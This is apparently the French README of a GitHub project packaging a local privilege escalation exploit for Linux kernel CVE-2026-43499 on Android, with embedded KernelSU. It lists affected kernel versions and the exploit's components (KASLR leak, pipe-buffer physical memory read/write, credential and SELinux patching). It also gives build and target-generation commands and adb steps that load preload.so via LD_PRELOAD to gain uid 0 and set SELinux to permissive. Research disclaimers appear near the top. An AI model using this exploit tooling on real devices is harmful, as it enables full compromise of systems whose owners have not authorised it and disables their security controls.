
Adaptation d'élévation de privilèges locaux basée sur la vulnérabilité noyau CVE-2026-43499, intégrant KernelSU embarqué. Mode jailbreak CVE-2026-43499+KernelSU.
Adaptation d'élévation de privilèges locaux basée sur la vulnérabilité du noyau CVE-2026-43499, intégrant un KernelSU embarqué. La compilation génère preload.so ; après un déclenchement réussi, KernelSU est démarré en mode late-load (mode jailbreak). Prend en charge la génération de target.h à partir de (xbl_config.img / vendor_boot.img) + boot.img.
Adaptation d'élévation de privilèges locaux basée sur une vulnérabilité du noyau, intégrant un KernelSU embarqué. Compile et génère preload.so ; après une exploitation réussie, KernelSU est démarré en mode late-load (mode jailbreak). Prend en charge la génération de target.h à partir de (xbl_config.img / vendor_boot.img) + boot.img, ou d'une autre manière.
Projets de référence :
[!IMPORTANT] L'exploitation non autorisée de vulnérabilités pour endommager, compromettre ou accéder à des systèmes informatiques est interdite par la loi. Ce projet est fourni strictement à des fins de recherche, d'éducation et d'apprentissage, et ne peut être utilisé que sur des systèmes et dans des environnements pour lesquels une autorisation préalable a été accordée. Toute utilisation de ce projet est effectuée aux risques de l'utilisateur. Les auteurs et contributeurs déclinent toute responsabilité en cas d'utilisation abusive de ce projet ou de tout dommage, perte ou conséquence juridique résultant de son utilisation.
Avertissement : l'exploitation non autorisée de vulnérabilités pour endommager, s'introduire dans ou accéder sans autorisation à des systèmes informatiques peut violer les lois et réglementations applicables. Ce projet est strictement limité à la recherche, à l'étude et aux tests de sécurité sur des systèmes et environnements ayant reçu une autorisation légale. Toute perte directe ou indirecte, responsabilité légale ou autre conséquence résultant de l'utilisation, de l'abus ou de la modification de ce projet est à la charge exclusive de l'utilisateur ; les auteurs et contributeurs du projet n'assument aucune responsabilité.
Lorsque votre version du noyau est {Linux Kernel}, elle se trouve dans la portée de cette vulnérabilité.
Linux Kernel < commit 3bfdc63936dd4773109b7b8c280c0f3b5ae7d349
2.6.39 <= {Linux Kernel} < 6.1.175
6.2 <= {Linux Kernel} < 6.6.140
6.7 <= {Linux Kernel} < 6.12.86
6.13 <= {Linux Kernel} < 6.18.27
6.19 <= {Linux Kernel} < 7.0.4
| Target | Statut |
|---|---|
rodin (défaut) | Vérifié |
Autres src/targets/* | Référence |
.
├── Makefile
├── build/
│ └── embed/
│ └── ksud # 被嵌入 preload.so 的 KernelSU userspace binary
├── tools/
│ ├── generate_target.py # 本仓库统一 target.h 生成入口
│ └── vendor/ # 从父目录同步的原始生成辅助脚本
└── src/
├── main.c # exploit 主流程
├── preload.c # LD_PRELOAD constructor + ksud 写出/启动
├── root.c # cred/seccomp/SELinux/root patch
├── slide.c # pselect KASLR slide leak
├── fops.c # pselect/FOPS route
├── pipe.c # pipe-buffer phys R/W primitive
├── ksud_blob.S # .incbin build/embed/ksud
├── kernelsnitch/ # KernelSnitch helpers
└── targets/
├── rodin/
├── beryl/
└── ...
~/android-ndk-r29ANDROID_NDK_HOME / ANDROID_NDK_ROOT / NDK_ROOTmakegitmake PROJECT=<target> -j$(nproc)
Sortie :
build/<target>/bin/preload.so
make list-projects
Ce dépôt intègre déjà un script unifié de génération de target :
tools/generate_target.py
tools/vendor/generate_target.py
tools/vendor/generate_target_2.py
tools/vendor/detect_offset.py
tools/generate_target.py est le script d'entrée. Il s'inspire et encapsule tous les processus de génération de target du répertoire parent, et produit finalement un src/targets/<project>/target.h complet adapté au code source de ce dépôt.
Le script ne valide pas de manière obligatoire CONFIG_DEBUG_INFO_BTF=y dans IKCONFIG. Si les décalages des champs de structure ou la disposition percpu entry_task ne peuvent pas être validés, il affiche un avertissement et poursuit la génération.
Si l'image ne contient aucun BTF exploitable, par exemple si le message suivant apparaît :
有效 vmlinux BTF 候选不唯一: []
Le générateur passe alors en fallback sans BTF :
boot.img actuel ;rodin ;without BTF et le template utilisé ;Vous pouvez spécifier un template de fallback :
tools/generate_target.py --project <project> --boot boot.img --profile profile.json --template-target rodin
# 或
TARGET_TEMPLATE=rodin tools/generate_target.py --project <project> --boot boot.img --profile profile.json
make generate-target PROJECT=<project> BOOT=/path/to/boot.img PROFILE=/path/to/profile.json
Écrit par défaut dans :
src/targets/<project>/target.h
Vous pouvez également appeler directement le script :
tools/generate_target.py --project <project> --boot /path/to/boot.img --profile /path/to/profile.json
profile.json doit contenir les informations d'adresses physiques, par exemple :
{
"p0_phys_offset": "0x40000000",
"p0_kernel_phys_load": "0x40000000"
}
Générer uniquement le profile :
make detect-profile PROFILE_OUT=profile.json
Détecter le profile et générer immédiatement la target :
tools/generate_target.py --project <project> --boot /path/to/boot.img \
--detect-adb-and-generate --profile-out profile.json
Le script expose également les autres points d'entrée pris en charge par le générateur du répertoire parent :
tools/generate_target.py --project <project> --boot boot.img --xbl-config xbl_config.img
tools/generate_target.py --project <project> --boot boot.img --mtk-vendor-boot vendor_boot.img
tools/generate_target.py --project <project> --boot boot.img --mtk-partitions /path/to/partitions
make generate-target PROJECT=rodin BOOT=../rodin/boot_a PROFILE=../profile.json
make generate-target PROJECT=beryl BOOT=../beryl/boot.img PROFILE=../profile.json
Exemple de sortie en cas de succès :
生成成功: .../src/targets/<project>/target.h
kernel SHA-256: <sha256>
target macros: 168
rodin conserve par défaut la valeur validée sur matériel réel :
#define MM_STRUCT_SZ 0x500
Pour la remplacer :
tools/generate_target.py --project rodin --boot boot.img --profile profile.json --mm-struct-sz 0x...
Il est recommandé de générer à partir d'une image boot et d'un profile correspondants :
make generate-target PROJECT=<project> BOOT=/path/to/boot.img PROFILE=/path/to/profile.json
make PROJECT=<project> -j$(nproc)
Un header de target complet contient :
PSELECT_WAITER_WORD_SHIFTMM_STRUCT_SZ et valeurs de réglage KernelSnitchLe code source actuel contient déjà des valeurs par défaut ; pour une exécution normale, il suffit de définir LD_PRELOAD et d'exécuter n'importe quel programme (par exemple toybox id).
adb push build/rodin/bin/preload.so /data/local/tmp/preload.so
adb shell 'chmod 755 /data/local/tmp/preload.so'
adb shell 'LD_PRELOAD=/data/local/tmp/preload.so /system/bin/toybox id'
Les paramètres par défaut actuels sont les suivants :
La ligne de commande ksud réellement exécutée par défaut est :
/data/local/tmp/ksud late-load --allow-shell --package-name me.weishu.kernelsu
Ces variables d'environnement peuvent toujours être remplacées à l'exécution, par exemple :
adb shell 'KSUD_PACKAGE=com.example.manager LD_PRELOAD=/data/local/tmp/preload.so /system/bin/toybox id'
Réutiliser le ksud déjà écrit :
adb shell 'KSUD_SKIP_WRITE=1 LD_PRELOAD=/data/local/tmp/preload.so /system/bin/toybox id'
make clean
make clean conserve build/embed/ksud, car src/ksud_blob.S l'intègre de la manière suivante :
.incbin "build/embed/ksud"
Si un nettoyage manuel entraîne la perte de build/embed/ksud, vous pouvez le restaurer :
git checkout -- build/embed/ksud
.incbin "build/embed/ksud" introuvableAprès avoir restauré le payload intégré, reconstruisez :
git checkout -- build/embed/ksud
make PROJECT=rodin -j$(nproc)
success=0rodin attend un layout pselect legacy/simple :
pselect fdset simple layout shift=0
pselect returned attempt=1 ret=9 ... success=1
Si l'état de l'appareil a été pollué par des tentatives échouées, redémarrez puis réessayez :
adb reboot
F_SETPIPE_SZ renvoie EPERMIl s'agit généralement d'un problème d'état provoqué par des tentatives échouées/résiduelles ; le redémarrage est le moyen de nettoyage le plus rapide :
adb reboot
ksud démarre mais /proc/modules ne contient pas KernelSUConsultez les journaux :
adb shell 'cat /data/local/tmp/ksud.log /data/local/tmp/ksud.preload.log 2>/dev/null || true'
Si nécessaire, exécutez manuellement dans un shell root :
/data/local/tmp/ksud late-load --allow-shell --package-name me.weishu.kernelsu
GPL-3.0. Voir LICENSE.
| Paramètre | Valeur par défaut | Description |
|---|
KSUD_LATE_LOAD | 1 | Exécute ksud late-load |
KSUD_ALLOW_SHELL | 1 | Passe --allow-shell |
KSUD_PACKAGE | me.weishu.kernelsu | Nom du paquet du gestionnaire transmis à ksud (semble sans effet) |
KSUD_DST | /data/local/tmp/ksud | Chemin d'écriture du ksud intégré |
KSUD_SKIP_WRITE | 0 | Écrit le ksud intégré par défaut |
KSUD_DEFER_TO_PARENT | 1 | Démarre ksud à partir du chemin du processus parent/actuel déjà patché |
ROOT_PATCH_SELF | 1 | Patch le processus actuel pour qu'il soit uid 0 |
DISABLE_SELINUX | 1 | Lors du patch root, définit SELinux enforcing en permissive |
ROOT_EXIT_SLEEP | unset / 0 | N'ajoute pas de sleep supplémentaire avant de retourner |